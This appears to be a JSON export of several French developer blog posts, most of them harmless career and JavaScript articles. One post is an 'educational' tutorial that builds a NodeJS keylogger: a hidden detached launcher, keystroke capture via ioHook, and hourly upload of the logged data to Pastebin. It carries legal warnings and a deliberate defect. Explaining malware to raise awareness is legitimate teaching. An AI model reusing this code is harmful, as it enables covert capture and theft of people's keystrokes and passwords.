décomposer toute la partie de mon code qui ne fonctionne pas** jusqu'à trouver le problème.\n\nEn général, quelqu'un de méthodique n'aura même pas le temps de s'énerver, **il aura déjà commencé à échafauder son plan pour tracer la source de l'erreur**.\n\n## 7 - Pédagogue\n\nComment travailler sur des projets complexes techniquement en étant supervisé par quelqu'un n'ayant jamais touché un bout de code ?\n\nEn l'amenant petit à petit à **comprendre notre monde,** en lui expliquant **les concepts de base**, en lui **vulgarisant votre métier** !\n\n**Les meilleures relations de travail sont bâties sur la pédagogie.**\n\n## 8 - Humble\n\nSi vous savez que **vous ne savez rien**, alors vous savez **tout ce qu'il y a à savoir** !\n\n## 9 - Réaliste\n\nL'expression “Viser la lune pour atterrir dans les étoiles” **c'est de la merde**. Les étoiles sont loin et l'espace est vide et froid, c'est la mort assurée.\n\n**Il ne faut pas vendre du rêve, ni gober un rêve vendu par quelqu'un d'autre :** la réalité fini toujours par nous rattraper et son petit nom à elle c'est souvent \"Burnout\".\n\n## 10 - Entreprenant(e)\n\nSi vous tombez sur un problème que personne n'a décelé, **n'attendez pas qu'on vous dise de le régler,** alertez et trouvez une solution par vous-même.\n\nTout le monde vous en sera reconnaissant !\n\n","Si vous ne devez retenir qu'une seule chose, c'est la passion !","les-10-qualites-que-partagent-les-bon-ne-s-developpeur-se-s","2020-07-27T06:42:27.000Z","2023-10-09T14:44:48.976Z","2020-07-27T07:28:44.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/07/lorenzo-0vkz685ODHo-unsplash.jpg","Lorenzo sur Unsplash","https://unsplash.com/@desorva?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":467,"title":468,"content":469,"socialTitle":8,"description":470,"socialDescription":8,"slug":471,"createdAt":472,"updatedAt":473,"publishedAt":474,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":475,"coverCopyright":476,"coverCopyrightLink":477},65,"Connaissez-vous le kebab-case ? Et le snake-case alors ?","Je crois que les conventions de nommage sont sans doute l'une des premières choses que l'on apprend en tant que développeur, elles ne s'arrêtent pas à l'agencement des caractères, mais c'est là-dessus que nous allons nous concentrer aujourd'hui.\n\nLes conventions de nommages servent principalement à :\n\n* collaborer plus facilement et à éviter les erreurs lorsque l'on participe à un projet\n* créer un code lisible et homogène\n* faire en sorte que la prise en main d'une base de code soit la plus intuitive possible\n\n> Lorsque je discute avec des développeurs, notamment des juniors, j'ai l'impression qu'il n'existe qu'une seule façon d'écrire du code : le camelCase et rien d'autre !\n\nPourtant l'horizon est bien plus vaste que ça, nous allons donc en faire un tour pour voir ce qui existe, pourquoi et comment on peut les utiliser.\n\n## Le Camel Case\n\n### Exemple : theUnicorn\n\nL'utilité du camel case, comme toutes les autres conventions décrites dans cet article est d'écrire plusieurs mots ensemble sans utiliser d'espace, tout en gardant la lisibilité des mots séparés.\n\nSon nom vient du fait que la lettre majuscule en début de chaque mot donne à ce dernier une ressemble avec le chameau (camel en anglais) et ses bosses. C'est la convention de nommage la plus connue, elle est même présente dans des marques comme iPhone ou eBay.\n\nPlusieurs langages de programmation la définissent comme convention par défaut (en Java et Javascript par exemple) pour le nommage des variable et des fonctions.\n\nLorsqu'elle est utilisée en dehors de l'informatique, on utilise une majuscule sur le premier mot, mais en programmation on passe la première lettre en minuscule, sinon on parle de \"Pascal Case\"\n\n## Le Pascal Case\n\n### Exemple : AwesomeNinja\n\nLe \"Pascal Case\" est une variante du \"Camel Case\" qui introduit une majuscule en début du premier mot, c'est notamment cette variante qui est utilisée pour nommer des classes ou des modules dans différents langages.\n\nLe mot \"Pascal\" vient du langage de programmation éponyme créé en 1970 et utilisant cette convention de nommage notamment pour ses programmes, modules et types comme indiqué [](https://en.wikipedia.org/wiki/Naming_convention_(programming)#Pascal,_Modula-2_and_Oberon)[i](https://en.wikipedia.org/wiki/Naming_convention_(programming)#Pascal,_Modula-2_and_Oberon)ci.\n\n> FunFact : Il existe une variante plus restrictive de cette convention appelée \"WikiCase\" obligeant à ce que chaque majuscule soit suivie d'une lettre minuscule, interdisant les mots comme \"ReadABook\" ou encore \"parsePHP\".\n\n## Le Snake Case\n\n### Exemple : an\\_easy\\_diy\n\nC'est notamment la convention de nommage des variables et fonctions en C ainsi qu'en Python.\n\n> Personnellement c'est celle que j'utilise aussi pour les projets que je lead en Javascript.\n\nLe snake case offre deux avantages :\n\n* Il élimine les ambiguïtés d'écriture sur les acronymes (en camel case on pourrait écrire XMLHTTPConnection ou XmlHttpConnection).\n* Il se lit plus rapidement que le camel case comme le montre [cette étude de l'université de Kent State](http://www.cs.kent.edu/~jmaletic/papers/ICPC2010-CamelCaseUnderScoreClouds.pdf)\n\nMais il est vrai que le nombre de caractères à écrire et à transmettre est plus important, à vous de voir si vous préférez privilégier la vitesse d'écriture à la facilité de lecture !\n\n## Le Kebab Case\n\n### Exemple : just-a-steack\n\nLe tiret n'étant pas accepté par la syntaxe de la majorité des langages de programmation, on ne le retrouve pas directement dans le code, néanmoins le kebab case reste le standard en terme de nommage de ressources sur le web.\n\nPour un visiteur classique, il est plus naturel à lire, mais surtout pour les moteurs de recherche il est indispensable de garder une réelle séparation entre les mots pour optimiser son référencement.\n\nPour un crawler, l'url \"/notreequipe/contacteznous.html\" ne contiendra pas de mot-clé reconnaissable, contrairement à l'url \"/notre-equipe/contactez-nous.html\".\n\n## Le Flat Case\n\n### Exemple : idontlikespace\n\nLe seul exemple du flat case qui m'est venu à l'esprit en rédigeant cet article sont les packages en Java que l'on nomme \"com.android.mybeautifulapp\".\n\n> Les points ne font pas partie du nommage, mais de la hiérarchie des paquets.\n\nJe ne conseillerai à personne de l'utiliser en dehors de ce cas-là car celà revient à perdre tout l'intérêt des conventions de nommage précédentes, c'est à dire la séparation visuelle des mots.\n\n## L'Upper Case\n\n### Exemple : SIMPLY\\_GLOBAL\n\nOn peut trouver l'upper case avec ou sans underscore mais on le rencontre généralement moins fréquemment que les autres car cette convention est \"réservée\" à la déclaration de variable globales, de constantes ou parfois d'énumérations.\n\nLe fait qu'elle soit imposante par rapport au reste du code permet de la repérer beaucoup plus facilement.\n\n## Conclusion\n\nCe qui est le plus important, c'est de se tenir à une convention de nommage. Vous avez le droit de choisir votre convention sur vos projets mais vous devez à tout prix respecter celle déjà instaurée sur le projet auquel vous allez collaborer !\n\nPour certaines conventions, comme le Pascal Case pour les noms des classes il est quand même préférable de s'y tenir car celà fait consensus à travers tous les langages et les communautés.\n\n","Un petit tour d'horizon des conventions de nommage au niveau de la casse des caractères !","convention-nommage-kebab-case-snake-case-et-autres","2020-07-28T06:38:39.000Z","2023-09-22T13:38:29.712Z","2020-07-28T11:37:16.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/12/kristian-strand-p8gzCnZf39k-unsplash.jpg","Kristian Strand sur Unsplash","https://unsplash.com/@kristianstrand?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":479,"title":480,"content":481,"socialTitle":8,"description":482,"socialDescription":8,"slug":483,"createdAt":484,"updatedAt":485,"publishedAt":486,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":487,"coverCopyright":488,"coverCopyrightLink":489},66,"[Guide] Trouver un emploi de développeur web junior","Depuis quelques années, les écoles de code à formation courtes fleurissent en France et le nombre de développeur web junior sortant de ces écoles commence à exploser.\n\nMais alors comment faire pour se faire remarquer (et embaucher) en tant que junior, alors que les recruteurs continuent de vous dire que vous manquez d'expérience ?\n\nCeci est une page qui regroupe plusieurs des posts de mon blog qui vont vous aider à améliorer votre profil, autant en terme de compétences techniques qu'en terme d'impression pour les recruteurs.\n\n## Améliorer la technique\n\nMême si il est important de savoir se vendre, le nerf de la guerre reste la compétence technique (et l'expérience professionnelle). Mais ce qui est formidable avec le développement web, c'est que vous n'avez besoin de rien de plus que d'une machine et de motivation.\n\nCréer des projets, s'entraîner, expérimenter, c'est améliorer ses compétences techniques mais aussi transversales (gestion de projet, design,...) et le plus mieux dans tout ça, c'est que si vous concentrez suffisamment votre temps et votre énergie sur un projet particulier, cela devient une expérience professionnelle !\n\n::: bookmark\n[![](https://cellar-c2.services.clever-cloud.com/content/2020/06/carl-heyerdahl-KE0nC8-58MQ-unsplash.jpg)9 idées de projets créatifs pour les développeurs web juniors - Blog - Code-Garage](https://code-garage.fr/blog/idees-de-projets-creatifs-pour-les-developpeurs-web-juniors/)\n:::\n::: bookmark\n[![](https://cellar-c2.services.clever-cloud.com/content/2020/07/annie-spratt-QckxruozjRg-unsplash.jpg)Devenir un meilleur développeur en participant à des Game Jams - Blog - Code-Garage](https://code-garage.fr/blog/devenir-un-meilleur-developpeur-en-participant-a-des-game-jams/)\n:::\n\n## Améliorer son profil\n\nMême lorsque vos compétences sont suffisantes, il faut que votre profil soit suffisamment mis en valeur pour que l'on vous remarque, où du moins que l'on se souvienne de vous.\n\nSi je tombe sur un CV, sans photo, sans lien vers un site web ou un Github, les chances que je retienne votre nom son assez faibles. Par contre si vous avez un site personnel simple et bien conçu, et que votre Github contient quelques projets bien présentés et expliqués dans des README un peu complet, votre nom (et votre photo) va rester dans un coin de ma tête !\n\n::: bookmark\n[![](https://cellar-c2.services.clever-cloud.com/content/2021/06/lucas-benjamin-wQLAGv4_OYs-unsplash.jpg)Un template de site/portfolio minimaliste pour développeur - Blog - Code-Garage](https://code-garage.fr/blog/un-template-de-site-portfolio-minimaliste-pour-developpeur/)\n:::\n::: bookmark\n[![](https://cellar-c2.services.clever-cloud.com/content/2021/04/rodion-kutsaev-pVoEPpLw818-unsplash.jpg)Un template gratuit de CV pour développeur ! - Blog - Code-Garage](https://code-garage.fr/blog/un-template-gratuit-de-cv-pour-developpeur/)\n:::\n::: bookmark\n[![](https://cellar-c2.services.clever-cloud.com/content/2021/10/dylan-taylor-5tYVBC-hgNc-unsplash.jpg)Comment personnaliser son profil Github avec un fichier Readme - Blog - Code-Garage](https://code-garage.fr/blog/comment-personnaliser-son-profil-github-avec-un-fichier-readme/)\n:::\n::: bookmark\n[![](https://cellar-c2.services.clever-cloud.com/content/2020/06/jo-szczepanska-9OKGEVJiTKk-unsplash.jpg)Un template de readme basique pour vos projets sur Github - Blog - Code-Garage](https://code-garage.fr/blog/un-template-de-readme-basique-pour-vos-projets-sur-github/)\n:::\n::: bookmark\n[![](https://cellar-c2.services.clever-cloud.com/content/2021/07/josh-hild-jdTdvF6fDus-unsplash-1.jpg)Prouver son expérience de développeur sans avoir été embauché - Blog - Code-Garage](https://code-garage.fr/blog/comment-prouver-son-experience-de-developpeur-sans-jamais-avoir-ete-embauche/)\n:::\n\n## Être visible\n\n::: bookmark\n[![](https://cellar-c2.services.clever-cloud.com/content/2021/03/austin-distel-wawEfYdpkag-unsplash.jpg)Les 9 meilleurs sites de recrutement pour les développeurs - Blog - Code-Garage](https://code-garage.fr/blog/les-meilleurs-sites-de-recrutement-pour-les-developpeurs/)\n:::\n\n## S'entrainer aux entretiens\n\nSouvenez-vous que plus vous aurez préparé un entretien (que ce soit la partie technique ou la partie personnelle), plus vous serez à même de délivrer les informations attendue naturellement et moins votre stress prendra le dessus.\n\nSe connaître soi-même, ses qualités et ses défauts et prendre le temps de se préparer aux tests techniques sont deux des points essentiels !\n\n::: bookmark\n[![](https://cellar-c2.services.clever-cloud.com/content/2020/07/james-pond-HUiSySuofY0-unsplash-1-.jpg)Une appli d’entrainement aux tests techniques en tant que junior - Blog - Code-Garage](https://code-garage.fr/blog/une-appli-pour-sentrainer-aux-tests-technique-en-tant-que-junior/)\n:::\n::: bookmark\n[![](https://cellar-c2.services.clever-cloud.com/content/2020/07/lorenzo-0vkz685ODHo-unsplash.jpg)Les 10 qualités que partagent les bon(ne)s développeur(se)s - Blog - Code-Garage](https://code-garage.fr/blog/les-10-qualites-que-partagent-les-bon-ne-s-developpeur-se-s/)\n:::\n\n> Cette page sera mise à jour régulièrement avec les nouveaux articles qui rentrent dans cette thématique !\n\nN'hésitez pas à la partager aux développeurs web juniors que vous connaissez !\n\n","Voici une page qui regroupe tous mes articles qui peuvent vous permettre d'augmenter l'attractivité de votre profil de développeur !","comment-avoir-un-profil-de-developpeur-web-junior-attractif","2020-07-29T08:49:24.000Z","2023-09-19T15:05:36.114Z","2020-07-29T09:27:29.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/07/ian-stauffer-bH7kZ0yazB0-unsplash-1.jpg","Ian Stauffer sur Unsplash","https://unsplash.com/@ianstauffer?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":491,"title":492,"content":493,"socialTitle":8,"description":494,"socialDescription":8,"slug":495,"createdAt":496,"updatedAt":497,"publishedAt":498,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":499,"coverCopyright":500,"coverCopyrightLink":501},67,"Non, NodeJS n'est pas un langage !","> Cet article est également disponible en version audio !\n\n\u003Ciframe src=\"https://open.spotify.com/embed/episode/7DASRUkC4GH8VhRJLXVxxY?utm_source=generator&theme=0\" width=\"100%\" height=\"152\" frameborder=\"0\" allowfullscreen=\"\" allow=\"autoplay; clipboard-write; encrypted-media; fullscreen; picture-in-picture\">\u003C/iframe>\n\nOn le voit souvent passer dans des CV ou des portfolio \"Langages : Javascript, NodeJS,...\" et même si la confusion est compréhensible, il est important de comprendre **la vraie nature de NodeJS**.\n\n> Alors je le répête : Non, NodeJS n'est pas un langage de programmation.\n\n**NodeJS est un environnement d'exécution** pour faire tourner du code Javascript en dehors d'un navigateur. Cet environnement est open-source, cross-platform et majoritairement utilisé pour exécuter des scripts côté serveur.\n\nSa popularité grandissante, notamment chez les développeurs juniors vient justement du fait que **développer des scripts côté serveur ne nécessite plus forcément d'apprendre un nouveau langage,** mais de réutiliser un langage déjà connu et utilisé côté front-end.\n\n## Son origine\n\nEn 1996, l'entreprise Netscape, éditrice du célèbre navigateur web lance \"Netscape Livewire\", **la première tentative de moteur d'exécution Javascript en dehors du navigateur** fait son apparition, malheureusement ce dernier ne rencontrera jamais le succès.\n\nDeux ans plus tard, Netscape lancera Rhino, son moteur Javascript entièrement développé en Java qui permet (encore aujourd'hui) de compiler du JS en Bytecode Java et de générer les classes correspondantes.\n\n**Mais ce n'est qu'en 2009 que Ryan Dahl écrira la première version de NodeJS** dans le but de palier aux contraintes techniques du serveur web Apache, notamment son incapacité de gérer plus de 10 000 connexions simultannées.\n\n## Son fonctionnement\n\n**NodeJS est écrit en C++, basé sur le moteur d'éxecution V8** (open-source, développé par Google) et implémente une boucle d'évènements ainsi qu'une API d'entrée/sortie bas-niveau.\n\n> J'espère qu'il ne vous aura pas échappé qu'un script exécuté par NodeJS **n'aura donc pas accès aux APIs d'un navigateur classique** (window, localStorage, etc...)\n\nLe fait qu'il soit basé sur une architecture évènementielle et qu'il soit capable de gérer des entrées/sorties de manière asynchrone lui permette de **gérer un flux de données très rapide et d'être optimisé pour des systèmes temps-réels**.\n\nLa gestion de requêtes concurrentes est de ce fait bien meilleure que celle d'Apache, [en voici la preuve](https://dev.to/emiliosp/nodejs-vs-apache-performance-battle-for-the-conquest-of-my-5c4n), néanmoins le fait qu'il soit **limité à tourner sur un seul thread** (un sous-coeur virtuel du processeur) ne lui permet pas d'être très performant sur de gros calculs (pas de parallélisation).\n\n_A noter que **NodeJS est UNIQUEMENT capable de faire tourner du code Javascript**, si l'on veut l'utiliser en TypeScript par exemple, il faudra passer par le compilateur TS en amont._\n\n## Une alternative ?\n\nEn 2018, le créateur de NodeJS Ryan Dahl a annoncé qu'il travaillait sur **un nouvel environnement d'exécution Javascript appelé \"Deno\"**, censé résoudre les erreurs qu'il regrette avoir commises en créant NodeJS.\n\nSa version 1.0 a été publiée le 13 Mai 2020 et est disponible ici : [https://deno.land/](https://deno.land/)\n\n### Quelques différences :\n\n* Deno est écrit en Rust\n* La gestion des dépendances est intégrée et non reléguée à une tierce-partie comme avec npm\n* Le Typescript est nativement géré par Deno\n* Une librairie standard est présente pour offrir un développement basé sur du code officiel, testé et révisé.\n* ...\n\nPour l'instant **nous sommes encore loin de voir passer des applications tournant sur l'environnement Deno** mais le projet mérite qu'on porte un intérêt pour sa future évolution !\n\n","Quelle est la différence entre un langage et un environnement d'exécution ?","nodejs-n-est-pas-un-langage","2020-07-30T08:43:36.000Z","2023-09-19T15:05:36.142Z","2020-07-30T11:17:38.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/07/neonbrand--Cmz06-0btw-unsplash.jpg","NeONBRAND sur Unsplash","https://unsplash.com/@neonbrand?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":503,"title":504,"content":505,"socialTitle":8,"description":506,"socialDescription":8,"slug":507,"createdAt":508,"updatedAt":509,"publishedAt":510,"styleHead":8,"scriptFooter":438,"seoTitle":8,"seoDescription":8,"legacyCover":511,"coverCopyright":512,"coverCopyrightLink":513},68,"Comment j'ai écris un malware (à but éducatif) avec NodeJS en moins d'une heure !","**Un malware est un logiciel malveillant** destiné à récupérer ou corrompre des données provenant d'une (ou plusieurs) machine cible, le terme vient de la contraction de l'anglais \"**malicious**\" et \"**software**\".\n\nDans cet article je ne vais pas parler de virus, car **le terme \"virus\" sous-entend la propagation autonome de ce dernier**, et ce n'est pas ce que nous allons étudier ici.\n\nLe type de malware que je vous présente est un \"keylogger\", c'est à dire un logiciel dont le but est d'**enregistrer toutes les informations tapées au clavier** sur une machine.\n\nUne fois les informations capturées par le malware, elles peuvent être **stockées en local sur la machine, ou envoyées à l'attaquant par le réseau**.\n\n_Et non, le stockage en local n'est pas à négliger car le keylogger peut très bien tourner sur une machine à laquelle l'attaquant a aussi accès, comme lors d'un prêt pour checker ses emails en navigation privée par exemple._\n\nJe tiens à rappeler que la majorité des grosses fuites de données de ces dernières années ne sont pas dues à de simples malwares, mais sont causées par des experts en ingénierie sociale.\n\n> Si vous voulez en apprendre plus sur ce sujet, je vous recommande le livre de Kevin Mitnick : \"[The art of deception](https://www.amazon.fr/Art-Deception-Controlling-Element-Security-ebook/dp/B006BBZHAK/ref=sr_1_1?__mk_fr_FR=%C3%85M%C3%85%C5%BD%C3%95%C3%91&dchild=1&keywords=the+art+of+deception%2C&qid=1596200286&sr=8-1)\" !\n\n## Avertissement\n\nJe tiens à rappeler que la création d'un logiciel ne peut être puni par la loi, mais que **son utilisation si elle entraine une récupération de données d'autrui est punie** d'[un minimum de 15000€ d'amende et d'un an d'emprisonnement](https://www.legifrance.gouv.fr/affichLoiPubliee.do;jsessionid=9820B04FDB735157E05C493A38011F9E.tpdjo07v_3?idDocument=JORFDOLE000020671167&type=contenu&id=3&typeLoi=&legislature=).\n\n**La démarche et le code présentés ci-après sont uniquement à vocation éducative** afin d'amener le public à se rendre compte de la simplicité de création d'un tel logiciel et de l'importance de savoir s'en prémunir.\n\n> Je ne pourrais être tenu responsable du possible détournement du code à des fins malveillantes par autrui.\n\nMaintenant que vous avez été prévenu sur les risques encourus, rien ne vous empêche **d'expérimenter avec vos machines dans le cadre du loisir**, ou dans le cadre d'un test de sécurité sur un système dont le propriétaire est explicitement consentant.\n\n**D'autant que les fonctionnalités présentées ci-après sont toutes utiles dans le cadre d'un développement logiciel classique**, on peut par exemple imaginer un gestionnaire de raccourci clavier qui travaillerait en tâche de fond !\n\n## Le fonctionnement\n\nPour fonctionner comme tel, notre malware (keylogger) doit avoir plusieurs caractéristiques :\n\n* Fonctionner de manière indépendante (l'environnement NodeJS doit être inclus avec l'exécutable pour s'adapter au système)\n* Être discret (tourner en tâche de fond)\n* Pouvoir capturer les entrées claviers (même sans le focus sur l'application)\n* Être en mesure de sauvegarder les données à distance sans laisser de trace\n\nNous allons voir étape par étape comment construire ce logiciel mais vous pourrez retrouver tout le code sur le dépôt github suivant : [https://github.com/NicolasBrondin/node-educative-malware](https://github.com/NicolasBrondin/node-educative-malware) (readme à venir)\n\n::: bookmark\n[![](https://avatars2.githubusercontent.com/u/6644095?s=400&v=4)NicolasBrondin/node-educative-malware](https://github.com/NicolasBrondin/node-educative-malware)\n:::\n\n### Créer un exécutable\n\nPour créer un exécutable indépendant il existe un utilitaire en ligne de commande appelé \"pkg\" et [disponible directement depuis npm](https://www.npmjs.com/package/pkg).\n\n::: bookmark\n[![](https://static.npmjs.com/338e4905a2684ca96e08c7780fc68412.png)pkg](https://www.npmjs.com/package/pkg)\n:::\n\n \nUne fois installé en global, il suffit d'exécuter une commande très simple pour **générer trois exécutables pour Windows, Linux et MacOS** :\n\n```\npkg index.js\n```\n\n### Le rendre discret\n\nLe problème d'un exécutable sur lequel on clique est qu'**il affichera un terminal tant qu'il sera en cours d'exécution**, et donc sera visible et pourra être fermé par l'utilisateur, ce qu'on veut éviter en toute logique.\n\n**La technique est donc de cacher le lancement du logiciel dans un petit exécutable tiers**, de la même manière qu'un _launcher_ de jeu vidéo.\n\nIci on va programmer notre launcher pour **démarrer un nouveau processus indépendant qui tourne en arrière-plan et de s'arrêter tout de suite après.**\n\n```\n\n//launcher.js\nconst spawn = require('child_process').spawn;\n\nconst child = spawn('./data/game.exe', [], {\n detached: true,\n stdio: ['ignore']\n});\n\nchild.unref();\nprocess.exit();\n\n```\n\n> Vous trouverez plus d'explications sur la méthode pour démarrer un nouveau processus externe en NodeJS [dans mon article sur le sujet](https://code-garage.fr/comment-executer-une-commande-systeme-ou-un-programme-externe-en-nodejs-spawn-exec-child-process/).\n\n### Récupération des entrées claviers\n\n \nA chaque fois que l'utilisateur appuie sur une touche, nous allons ajouter la valeur de cette touche à une chaine de caractère pour ensuite pouvoir la stocker facilement.\n\n**J'ai utilisé ioHook qui permet de récupérer les entrées même lorsque l'application n'a pas le focus** (ce qu'elle n'a jamais), l'écoute est donc infinie.\n\nA noter que la librairie ne récupère que les code des touches et pas la valeur (on pourra donc récupérer l'appui de la touche \"maj\" puis \"e\" mais elle ne sera pas écoutée comme une E majuscule). **C'est un défaut du logiciel que j'ai choisi de laisser pour justement ne pas mettre un malware parfaitement fonctionnel dans la nature.**\n\nCe logiciel pourra donc capturer des textes lisibles mais **les mots de passe contenants des majuscules par exemple ne seront pas valides.**\n\n> Et dans notre cas c'est une bonne chose !\n\n```\n\n//game.js\nconst ioHook = require('iohook');\nlet keystrokes = \"Keystrokes start now : \";\nioHook.on(\"keydown\", event => {\n keystrokes+= String.fromCharCode(event.rawcode);\n});\nioHook.start();\n\n```\n\n### La sauvegarde à distance\n\n> Je ne vais pas vous expliquer comment on enregistre les données en local, il suffit de créer un fichier texte grâce au module fs.\n\n**Néanmoins la sauvegarde à distance reste quelque chose de délicat** puisque dans le cas d'un vrai malware, l'attaquant ne voudrait surtout pas pouvoir être démasqué, **laisser une IP vers son serveur ou quoi que ce soit qui puisse mener à lui serait trop risqué.**\n\n**C'est pourquoi beaucoup de fuites de données passent par le site PasteBin**, qui est ni plus ni moins qu'un site qui permet de partager des morceaux de textes, la différence étant qu'il est possible de le faire **anonymement et gratuitement**.\n\n**Le petit plus est que PasteBin propose une API** grâce à laquelle il est possible de générer automatiquement des bins en créant un compte dont la seule vérification est une adresse email.\n\nVoici le code qui permet au logiciel d'envoyer les données récoltées sur PasteBin grâce au wrapper NodeJS de l'API.\n\n```\n\n//game.js\nconst PastebinAPI = require('pastebin-js');\nconst pastebin_config = require('./pastebin.json');\n\nlet pastebin = new PastebinAPI(\n pastebin_config\n);\n\n//Save remote file every hour\nsetInterval(async function(){\n await pastebin.createPasteFromFile({\n filename: \"data.txt\", //data.txt has been previously created\n title: \"data\", \n format: null, \n privacy: 3, \n expiration: \"N\"\n });\n},3600000);\n```\n\nÀ noter que c'est une des parties qui risque ne s'exécutera pas si le pare-feu est configuré pour bloquer les accès Internet aux nouveaux logiciels.\n\n> C'est là le fonctionnement de la majorité des malwares, leur succès réside dans la petite partie des gens qui cliquent sur \"J'accepte\" sans même regarder.\n\n## Conclusion\n\n \nComme je l'ai répété au long de l'article, ce logiciel n'a pas pour but d'encourager les développeurs à faire circuler des malware, **bien au contraire vu les amendes et peines encourues pour cyber-criminalité**.\n\n**On parle souvent de sécurité informatique sans jamais vraiment rentrer dans le détails** et les gens voient ça encore trop souvent d'un regard détaché comme ci celà n'arrivait qu'aux autres.\n\nPour ceux qui pourraient penser qu'il est irresponsable de faire un article de ce genre, **je tiens à préciser que les ressources pour construire ce genre de choses sont extrèmement facilement trouvables sur le net**, avec des techniques souvent bien plus poussées.\n\n**Cet article ce destine justement aux passionnés de technique qui cherchent simplement à comprendre le fonctionnement de ces malwares** et j'espère surtout que cet article permettra à certains de prendre conscience qu'écrire ce genre de logiciel reste (malheureusement) accessible à n'importe quel développeur.\n\nStay safe et à bientôt sur le blog !\n\n","Rappel : la récupération de données d'autrui grâce à un malware est punie d'un minimum de 15000€ d'amende et d'un an d'emprisonnement.","comment-jai-ecris-un-malware-a-but-educatif-avec-nodejs-en-moins-dune-heure","2020-07-31T12:27:38.000Z","2023-09-19T15:05:36.173Z","2020-07-31T13:30:06.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/07/daniel-souza-xN62dYNQ2iY-unsplash.jpg","Daniel Souza sur Unsplash","https://unsplash.com/@callahans?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":515,"title":516,"content":517,"socialTitle":8,"description":518,"socialDescription":8,"slug":519,"createdAt":520,"updatedAt":521,"publishedAt":522,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":523,"coverCopyright":524,"coverCopyrightLink":525},69,"Trouver son langage de programmation de prédilection","C’est l’une des questions qui revient le plus souvent chez les nouveaux développeurs :\n\n> Sur quel langage de programmation vais-je baser toute ma carrière ?\n\n**Ne basez pas votre carrière sur un langage précis**, et encore moins sur un framework en particulier.\n\nBien sûr vous pouvez développer une expertise au fur-et-à-mesure des années, mais ne vous bloquez surtout pas en disant :\n\n> «Moi vivant, je ne ferais jamais de \\[_langage_\\]»\n\nSavoir contribuer à un projet en dehors de votre champ de compétences habituel peut s’avérer très valorisant, pour soi-même, mais aussi aux yeux des autres !\n\nCeci étant dit, **il est nécessaire d’arriver à trouver un langage de prédilection** avec lequel on préfère travailler, histoire de ne pas s’éparpiller, de devenir plus efficace au fil du temps mais aussi de pouvoir orienter ses recherches de jobs (ou de missions).\n\nAlors voici **quelques conseils** si vous recherchez votre langage de prédilection tel Arthur recherchant le Graal :\n\n* **Expérimentez**, expérimentez et expérimentez encore ! Comment trouver ce qui vous plait le plus sans avoir testé un maximum de choses ?\n* **Regardez la** [**popularité du langage**](http://em.getrevue.co/ss/c/LO0al2iZd_602oATwtW9Gjm5o_9bgzNZWrJsOZvuK-wQt-B_D22TPrQ2qncn7VckY-snR-O905B2b5530nkBL1V3QMRB-ByxyjLEOcwM0PZSS5c1YtcaT4YhpMf8pptmAThXW00ogAovnN0bz632CPHi0G-g80VTUgplZ5q7NqvvORfFpGT3YwZmuN00iktQe6yQDGIwA8W4OYbFl0Qzuzt50zUXkSx0mk_af4UwzJlzqKmRvPcc4MaHeuVB7km_KXeXXK5P7_jhyzfOtL7B9zSIHDrxabzdsqJZR-qN1Ik/33h/QYAF-vE3SCid7Ss9qR5ihQ/h3/GANJR8w8PYOtI2-tp34JrUOwXp_OxhUkNODoZMNGicY) que vous pratiquez pour vous donner une idée du marché, et orienter vos expérimentations.\n* **Découvrez si la communauté est plutôt active**, correspond à vos valeurs, si les documentations sont bien écrites et mises à jour par exemple.\n* Identifiez si les outils et **frameworks les plus populaires** correspondent à vos méthodes de travail.\n* **Renseignez-vous sur les méthodes d’hébergement et de déploiement**, testez-en quelques-unes pour avoir une idée du temps qu’il vous faut pour mettre une application à disposition du public.\n\n_Mais surtout :_ **Choisissez le langage avec lequel vous vous sentez le plus à l’aise**, pas forcément en terme de connaissances, mais celui qui correspond à votre logique et avec lequel **vous aimez le plus créer des choses** ! Et ne laissez pas les petites querelles entre développeurs vous laisser croire que **votre langage est nul, cela n’a pas de sens**.\n\nPour preuve, voici **quelques _petites_ plateformes développée sous différents langages** :\n\n* Facebook est développé en **PHP**\n* Netflix est développé en **Javascript** (NodeJS)\n* AirBnB est développé en **Ruby** (RoR)\n* Instagram est développé en **Python**\n* Linkedin est développé en **Java**\n\n**De mon côté, j’ai commencé mon apprentissage du web en PHP**, et j’ai vu au fil du temps les technologies Javascript prendre de l’ampleur (notamment NodeJS), j’ai appris à les aimer et aujourd’hui je travaille exclusivement en Javascript.\n\n> Si l'évolution de ma stack technique vous intéresse, [j'ai écris un article spécial dessus](https://code-garage.fr/levolution-de-ma-stack-technique-de-mes-debuts-a-aujourdhui/).\n\nChaque langage est puissant à sa manière et **il a ses qualités, comme ses défauts**, à vous de les découvrir !\n\n","Java, PHP, Python, Javascript, Ruby, chacun défend son langage et il est parfois difficile de faire son choix en tant que débutant.","trouver-son-langage-de-programmation-de-predilection","2020-08-05T07:17:05.000Z","2023-09-19T15:05:36.206Z","2020-08-05T07:55:39.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/08/nick-fewings-pIY6sz-texg-unsplash.jpg","Nick Fewings sur Unsplash","https://unsplash.com/@jannerboy62?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":527,"title":528,"content":529,"socialTitle":8,"description":530,"socialDescription":8,"slug":531,"createdAt":532,"updatedAt":533,"publishedAt":534,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":535,"coverCopyright":536,"coverCopyrightLink":537},70,"[Guide] Mieux comprendre et utiliser le Javascript","Lorsque j'ai commencé à apprendre le Javascript, **je le voyais comme le langage utilisé majoritairement pour animer des pages web**, et pour cause, la technologie en vogue était toujours ce bon vieux jQuery, et AngularJS n'avait que quelques mois d'existence.\n\nÉtant en plein dans l'apprentissage de la POO en C++, de l'architecture logiciel et des design pattern à l'époque, le Javascript me paraissait aux antipodes de cette approche très structurée avec **son typage 